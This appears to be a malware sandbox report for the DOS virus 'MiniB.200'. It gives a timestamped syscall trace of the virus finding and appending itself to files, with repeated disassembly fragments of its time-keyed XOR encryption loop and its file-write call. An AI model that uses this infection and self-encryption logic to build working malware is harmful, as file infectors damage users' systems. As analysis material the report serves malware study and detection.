Sample viewer

vx.netlux.org/Virus.DOS.MiniB.200

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:05:21.01931075Z 26 PC: 22a72 | Set disk transfer address
2018-12-17T22:05:21.021012342Z 78 PC: 22a7c | Find first file
2018-12-17T22:05:21.026999874Z 61 PC: 22a86 | Open file (Filename = '')
2018-12-17T22:05:21.033363698Z 63 PC: 22a93 | Read file or device (Read 407 bytes on handle 5)
2018-12-17T22:05:21.040716149Z 66 PC: 22aa6 | Move file pointer
2018-12-17T22:05:21.043197047Z 64 PC: 22af3 | Write file or device (Write 607 bytes on handle 5)
2018-12-17T22:05:21.056895813Z 44 PC: 22acf | Get time 0x22acf: mov byte ptr [0x1a7], dl
0x22ad3: ret
0x22ad4: push ax
0x22ad5: push es
0x22ad6: push ds
0x22ad7: pop es
0x22ad8: mov ah, byte ptr [0x1a7]
0x22adc: mov di, si
0x22ade: lodsb al, byte ptr [si]
0x22adf: xor al, ah
0x22ae1: stosb byte ptr es:[di], al
0x22ae2: loop 0x22ade
0x22ae4: pop es
0x22ae5: pop ax
0x22ae6: ret
0x22ae7: add al, ch
2018-12-17T22:05:21.058976378Z 62 PC: 22ab2 | Close file
2018-12-17T22:05:21.067777832Z 79 PC: 22a7c | Find next file
2018-12-17T22:05:21.070620757Z 61 PC: 22a86 | Open file (Filename = '')
2018-12-17T22:05:21.07714435Z 63 PC: 22a93 | Read file or device (Read 27 bytes on handle 5)
2018-12-17T22:05:21.083773788Z 66 PC: 22aa6 | Move file pointer
2018-12-17T22:05:21.085198396Z 64 PC: 22af3 | Write file or device (Write 227 bytes on handle 5)
2018-12-17T22:05:21.088189551Z 44 PC: 22acf | Get time 0x22acf: mov byte ptr [0x1a7], dl
0x22ad3: ret
0x22ad4: push ax
0x22ad5: push es
0x22ad6: push ds
0x22ad7: pop es
0x22ad8: mov ah, byte ptr [0x1a7]
0x22adc: mov di, si
0x22ade: lodsb al, byte ptr [si]
0x22adf: xor al, ah
0x22ae1: stosb byte ptr es:[di], al
0x22ae2: loop 0x22ade
0x22ae4: pop es
0x22ae5: pop ax
0x22ae6: ret
0x22ae7: inc bx
0x22ae8: call 0x22afa
0x22aeb: mov ah, 0x40
0x22aed: lea dx, word ptr [0x100]
0x22af1: int 0x21
2018-12-17T22:05:21.091346147Z 62 PC: 22ab2 | Close file
2018-12-17T22:05:21.099602882Z 79 PC: 22a7c | Find next file
2018-12-17T22:05:21.102320754Z 61 PC: 22a86 | Open file (Filename = '')
2018-12-17T22:05:21.11005159Z 63 PC: 22a93 | Read file or device (Read 92 bytes on handle 5)
2018-12-17T22:05:21.116503001Z 66 PC: 22aa6 | Move file pointer
2018-12-17T22:05:21.118408372Z 64 PC: 22af3 | Write file or device (Write 292 bytes on handle 5)
2018-12-17T22:05:21.122182267Z 44 PC: 22acf | Get time 0x22acf: mov byte ptr [0x1a7], dl
0x22ad3: ret
0x22ad4: push ax
0x22ad5: push es
0x22ad6: push ds
0x22ad7: pop es
0x22ad8: mov ah, byte ptr [0x1a7]
0x22adc: mov di, si
0x22ade: lodsb al, byte ptr [si]
0x22adf: xor al, ah
0x22ae1: stosb byte ptr es:[di], al
0x22ae2: loop 0x22ade
0x22ae4: pop es
0x22ae5: pop ax
0x22ae6: ret
0x22ae7: inc bx
0x22ae8: call 0x22afa
0x22aeb: mov ah, 0x40
0x22aed: lea dx, word ptr [0x100]
0x22af1: int 0x21
2018-12-17T22:05:21.124811945Z 62 PC: 22ab2 | Close file
2018-12-17T22:05:21.132564179Z 79 PC: 22a7c | Find next file
2018-12-17T22:05:21.136842014Z 61 PC: 22a86 | Open file (Filename = '')
2018-12-17T22:05:21.143729499Z 63 PC: 22a93 | Read file or device (Read 29 bytes on handle 5)
2018-12-17T22:05:21.149764842Z 66 PC: 22aa6 | Move file pointer
2018-12-17T22:05:21.151404497Z 64 PC: 22af3 | Write file or device (Write 229 bytes on handle 5)
2018-12-17T22:05:21.154810231Z 44 PC: 22acf | Get time 0x22acf: mov byte ptr [0x1a7], dl
0x22ad3: ret
0x22ad4: push ax
0x22ad5: push es
0x22ad6: push ds
0x22ad7: pop es
0x22ad8: mov ah, byte ptr [0x1a7]
0x22adc: mov di, si
0x22ade: lodsb al, byte ptr [si]
0x22adf: xor al, ah
0x22ae1: stosb byte ptr es:[di], al
0x22ae2: loop 0x22ade
0x22ae4: pop es
0x22ae5: pop ax
0x22ae6: ret
0x22ae7: dec ax
0x22ae8: call 0x22afa
0x22aeb: mov ah, 0x40
0x22aed: lea dx, word ptr [0x100]
0x22af1: int 0x21
2018-12-17T22:05:21.157235271Z 62 PC: 22ab2 | Close file
2018-12-17T22:05:21.166192334Z 79 PC: 22a7c | Find next file
2018-12-17T22:05:21.169183149Z 61 PC: 22a86 | Open file (Filename = '')
2018-12-17T22:05:21.17559061Z 63 PC: 22a93 | Read file or device (Read 29 bytes on handle 5)
2018-12-17T22:05:21.182125104Z 66 PC: 22aa6 | Move file pointer
2018-12-17T22:05:21.183827204Z 64 PC: 22af3 | Write file or device (Write 229 bytes on handle 5)
2018-12-17T22:05:21.186562928Z 44 PC: 22acf | Get time 0x22acf: mov byte ptr [0x1a7], dl
0x22ad3: ret
0x22ad4: push ax
0x22ad5: push es
0x22ad6: push ds
0x22ad7: pop es
0x22ad8: mov ah, byte ptr [0x1a7]
0x22adc: mov di, si
0x22ade: lodsb al, byte ptr [si]
0x22adf: xor al, ah
0x22ae1: stosb byte ptr es:[di], al
0x22ae2: loop 0x22ade
0x22ae4: pop es
0x22ae5: pop ax
0x22ae6: ret
0x22ae7: dec ax
0x22ae8: call 0x22afa
0x22aeb: mov ah, 0x40
0x22aed: lea dx, word ptr [0x100]
0x22af1: int 0x21
2018-12-17T22:05:21.188596523Z 62 PC: 22ab2 | Close file
2018-12-17T22:05:21.200975583Z 79 PC: 22a7c | Find next file
2018-12-17T22:05:21.203737581Z 61 PC: 22a86 | Open file (Filename = '')
2018-12-17T22:05:21.210056246Z 63 PC: 22a93 | Read file or device (Read 501 bytes on handle 5)
2018-12-17T22:05:21.216652257Z 66 PC: 22aa6 | Move file pointer
2018-12-17T22:05:21.218094137Z 64 PC: 22af3 | Write file or device (Write 701 bytes on handle 5)
2018-12-17T22:05:21.226100976Z 44 PC: 22acf | Get time 0x22acf: mov byte ptr [0x1a7], dl
0x22ad3: ret
0x22ad4: push ax
0x22ad5: push es
0x22ad6: push ds
0x22ad7: pop es
0x22ad8: mov ah, byte ptr [0x1a7]
0x22adc: mov di, si
0x22ade: lodsb al, byte ptr [si]
0x22adf: xor al, ah
0x22ae1: stosb byte ptr es:[di], al
0x22ae2: loop 0x22ade
0x22ae4: pop es
0x22ae5: pop ax
0x22ae6: ret
0x22ae7: dec si
0x22ae8: call 0x22afa
0x22aeb: mov ah, 0x40
0x22aed: lea dx, word ptr [0x100]
0x22af1: int 0x21
2018-12-17T22:05:21.229186798Z 62 PC: 22ab2 | Close file
2018-12-17T22:05:21.237425972Z 79 PC: 22a7c | Find next file
2018-12-17T22:05:21.2401708Z 61 PC: 22a86 | Open file (Filename = '')
2018-12-17T22:05:21.247896145Z 63 PC: 22a93 | Read file or device (Read 29 bytes on handle 5)
2018-12-17T22:05:21.254350002Z 66 PC: 22aa6 | Move file pointer
2018-12-17T22:05:21.255751939Z 64 PC: 22af3 | Write file or device (Write 229 bytes on handle 5)
2018-12-17T22:05:21.260068566Z 44 PC: 22acf | Get time 0x22acf: mov byte ptr [0x1a7], dl
0x22ad3: ret
0x22ad4: push ax
0x22ad5: push es
0x22ad6: push ds
0x22ad7: pop es
0x22ad8: mov ah, byte ptr [0x1a7]
0x22adc: mov di, si
0x22ade: lodsb al, byte ptr [si]
0x22adf: xor al, ah
0x22ae1: stosb byte ptr es:[di], al
0x22ae2: loop 0x22ade
0x22ae4: pop es
0x22ae5: pop ax
0x22ae6: ret
0x22ae7: dec si
0x22ae8: call 0x22afa
0x22aeb: mov ah, 0x40
0x22aed: lea dx, word ptr [0x100]
0x22af1: int 0x21
2018-12-17T22:05:21.262223691Z 62 PC: 22ab2 | Close file
2018-12-17T22:05:21.269686589Z 79 PC: 22a7c | Find next file
2018-12-17T22:05:21.272897665Z 26 PC: 22ac5 | Set disk transfer address